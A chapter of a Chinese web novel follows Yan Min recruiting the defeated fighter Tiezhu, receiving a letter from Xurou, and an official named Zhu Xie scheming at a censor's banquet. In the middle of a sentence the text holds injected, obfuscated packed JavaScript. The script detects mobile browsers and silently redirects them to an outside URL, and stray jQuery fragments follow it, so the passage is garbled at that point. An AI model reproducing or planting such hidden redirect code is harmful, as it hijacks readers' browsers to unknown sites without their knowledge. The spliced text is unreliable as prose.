28. 杨柳风
作品:《有花不堪折》 铁柱没有想到,等待他的不是临死前的疼痛,他缓缓睁眼,视野中出现了一只手。
他堂皇地仰起头,那是一双算不上养尊处优的手。他见过的贵人的手都是丰腴白皙、保养得当的,与那人浑身透露的贵族气质有些违和。
宽厚的掌心上头带着许多的薄茧,一看就是常年练功的痕迹。
铁柱十分疑惑,只见这方才还与他凶狠过招的郎君,如今是面上带笑,意义不明地将手缓缓伸向了他。
铁柱心里像打水的吊桶似的,被这人弄得七上八下的,笑面虎也不亚于此吧!
良久,上头传来略带豪迈之声:
“壮士好身手,晏某甘拜下风。”
这番恭维的话说出来令人感到如沐春风,晏旼薄唇轻启,嘴角挂着的笑意更浓,这让铁柱更是困惑了,总觉得晏旼笑里藏刀,难不成这是什么时兴的招式吗?
铁柱这边还在思索着对策,迟迟不见回应,晏旼将手停在他上方,漫不经心地歪了歪头。
铁柱才意识到对方想将他扶起。
这样居高临下的姿态,一个高高在上却又施以援手,一个四仰八叉地以败者的姿态狼狈倒在地上。这不是对他是莫大的羞辱吗?倒不如一剑抹了他!
铁柱才不会让这种先礼后兵的战略如愿,于是他手脚并用,忍着浑身的剧痛,挣扎地爬了起身。
晏旼见状,手不着痕迹地收了回去,脸上依然挂着一抹笑意。
铁柱站稳身子,强硬地正视他,只见这位郎君体态端正,站在面前犹如玉树临风,丝毫不见对战时的仓促。他嘴角略微勾起,脸上浮现出若有若无的笑意,可那眼神分明是平静无波的,沉静地像一摊死水,让人毛骨悚然。
“你想怎么样?”铁柱方才虽被他制服,可自己还有着一身的蛮力,心里估摸着还能与他僵持许久。
那人沉默了一会,忽然惋惜了起来,“壮士一世英名,竟然折辱在此,实在是可悲!”
“何来折辱?你不要胡乱说话!”说罢铁柱慌张地往周围望去,只见周围空无一人,并没有他害怕的管事在此。
晏旼见他如此慌张,便知此举行得通。
他有着极高的洞察力,只堪堪几眼就看出对方的为人。
若是持续与他战下去,此局他虽可以得胜,但也要大费周章,耗费体力。有时候收买人心的文伐之术,比空凭武力更重要,况且这样还能让他为自己所用,何乐而不为?
他就是这样的人,这种势在必得的事情,便不会莽撞地就暴露出自己的意图。
利而诱之,一网打尽,不是很有意思吗?
铁柱是个不可多得的人才,他可舍不得遗漏这颗明珠在民间,行兵之要,务揽英雄之心。况且此人没什么根基,予取予求,极好拿捏,必能诚心诚意地为他所用。
思绪回笼,他立在堂中,轻轻抚过剑身,而后又略过剑鞘,上头的纹路在指尖下摩挲。蓄锐已久的剑出,是时候执刃而与之决矣。
“还有一事,方才郑府派人送了信。”
晏旼的背影微微一顿,“呈上来。”
一封密封完好的信落于他的手心,信封上是她秀丽的字迹,他不会认错。
他回到案前,将信仔细拆开,取出内里的纸张,缓缓展开。
目光轻快地扫过那不多的字,寥寥数语间,已将信中的内容尽收眼底。
是让邀他今晚在茶楼一叙。
他先是一怔,而后漆黑眼底顿时荡漾开了笑意。他不禁想起那日,絮柔在浔阳楼说的话。
那娇俏的少女含情脉脉,红了耳尖,说要在他远行时要折柳相送,她莫不是为了这个来的?
絮柔说这话的样子,眸中似溢出的星辰,他虽面色不改,但内心却看得沉醉。
可一想到昨日见到太子与她相会,心头就像是堵上了一块厚厚的巨石,昨日回来眼中带着一股郁气,吓得下人们都不敢做声。
今早起身,方感觉那股积压的火气,久久的难以消散,如今看到了这个,他倒是觉得自己跟打了胜仗一样爽利。
以杨柳相赠,是多么美好诚心的祝愿。
晏旼缓缓摩挲那上头,属于她一笔一划写出的字迹,内心暖融融的,眉角眼梢都温和了不少。
太子现在只能在东宫阴寒的角落里,日日思过,不得进出,哪里能见到东郊河畔温暖的杨柳呢?
黄昏之际,市坊刚刚卸下午市的喧闹,沿街的店铺却也没闲着,正动身拾掇着,准备迎接夜晚的繁华。
郑府有一处小阁楼,虽不高,但正好可以看见天边的晚霞,以及外头不远的街景。
絮柔扶着栏杆登上阁楼,拢了拢身上的莲色披风,缓缓推开窗子。
晚风灌了进来,轻轻吹拂起她的额发和衣裙。这处的风景大好,夕阳渐渐落于远山,细碎的金光打在絮柔的脸上,晕染出一片光影,显得像掺了蜜的白玉。
可她的神情却不似暖玉般温润,而是布满忧虑的阴霾,迟迟散落不去。
她看着外头推着车来往的人们,熙熙攘攘,各为生计奔波。虽然看得不远,但总比她待在闺房中,两耳不闻充满桎梏感,这样登高而望,让她的心没有那么紧绷。
今宵,必是个不安宁的夜晚了。
夜幕降临,登鹤楼早已挂上了灯,华灯璀璨,光彩夺目,这是京中最繁盛的酒楼之一。其服务极其周至,菜品皆为一流,堪比宫中御厨,因此也作为众多权贵雅聚的首选之处。
监察御史是个年过半百的人,但精神矍铄,满面红光,浑身透露着干劲。人若是有事儿做,便会焕发生气,更何况是天子亲身御赐的事?
不日他也要前去辰州,负责监察水利一案,监察一职虽说不是关键,可极为重要,因其要看官员办事是否妥当,是否有贪赃枉法之举。
于是今日便有一些人为他践行,在这登鹤楼开了个小宴。
不过大家都闭口不言此宴目的为何,这么明目张胆的话,会被人诟病,安上个行贿受贿的罪名。
毕竟监察一职,能捞的油水可不少,能参你的地方也不少。陈御史稳坐了这么多年这个位置,自然是有些威信在的。
他笑着接过底下人敬来的酒,一饮而尽,台下歌舞迷人眼。他微微眯着眼,眼尾挤出厚重的赘肉,靠在身后软枕上欣赏着舞姬的身姿。
台下的宾客笑意盈盈,也一同吃饭饮酒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478661|181724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看着歌舞,可各个表情都写满心不在焉,缕缕往主位上瞟。
这说是践行宴,实际上台下的人各怀心事,他们当中的人不一定是党派成员,也有着不少是为自己做谋算的。
朱协就是这么一个为自己做谋算的人,他官职小,只能坐在最后边,好不容易托亲友花大价钱将他带进这名利场,他却无法近这御史的身,眼看御史只跟眼前这谄媚之辈谈笑风生,令他很是捉急。
他不屑的笑了笑,在桌案下握紧了拳头。
这些个令人作呕的嘴脸,他当然认得是何人。官职家室也不低,从前在他们面前趾高气扬的,如今却在御史面前低声下气,卑躬屈膝地作讨好样,看了就觉得下胃口。
朱协浑身快意,能见到他们这些人这幅模样,也觉得不虚此行了啊!
陈御史喝的红光满面,还叫唤着一旁的舞姬为他添酒。朱协买的消息不假,陈御史酷爱饮酒,他也投其所好,花了大价钱买了深藏许久的杏花村汾酒。
心想这人酒量如此之大,一看便是个爱酒之人,若他此时主动上前敬酒,必定也能不招他厌恶。
可是怎么才能主动上前去呢,那些人见了朱协贸然出现,打断他们说话,光是眼神就能将他生吞了。
他摸索着腰带上的金色徽印,那是他明晃晃的身份象征,眼睛向四周环视了一圈,定睛到了门旁一个不起眼的小厮身上。
朱协立即有了个主意。
他招了招手,那小厮似乎没反应过来,朱协便有些生气,认为这小厮也是惯会捧高踩低的,见了他没什么本事,所以不愿听他差遣。
朱协皱了皱眉头,摆出他那当官的谱来,怒斥道:“我喊你过来!”
那小厮才连忙走过来,双手仍然端着托盘,躬身问道:“郎君何事?”
朱协看这人不是很机灵,袖子还有些长,遮住了半只手,显得十分邋遢不修边幅,声音还细地跟蚊子似的,怪不得只能站在门旁伺候人。
朱协的事要紧,也不和这下人计较,他从怀中掏出一壶酒,吩咐道:“你将这酒奉上去。”
小厮犹豫了一会,似是有些不敢,朱协骂道:“你怕什么,既是能带进来,便也是通过你们当家的查验过的!快去快去,这可是深藏十多年的老酒,你十辈子都赔不上!别耽误我事。”
小厮听完,神色松动,脸上忽然闪过一丝轻浮,似乎悟得了什么道理。只不过朱协正在眺望着御史那边的情况,并没有注意到这一幕。
他想着先让自己的酒到御史面前,他近不得身,可这添酒的小厮可以啊!等御史一尝这酒,爱不释手,便会问起这是何人送来的。
此时他便能顺理成章地站出来,在御史面前露面。
心意先到而人后到,想必也会被御史另眼相看的。
小厮很快就领命,端着酒准备上前,这样敏捷的反应倒让朱协有些惊讶,本以为还要说道好一通,不曾想他还蛮上道。
朱协安排好了一切,心满意足地坐回了原位,等待着顺水推舟进行他的计划。
他举起酒杯抿了一口酒,这下的酒比之前喝的每一口都要醇厚,唇齿留香,让他浑身充满热意,心情别提多舒畅。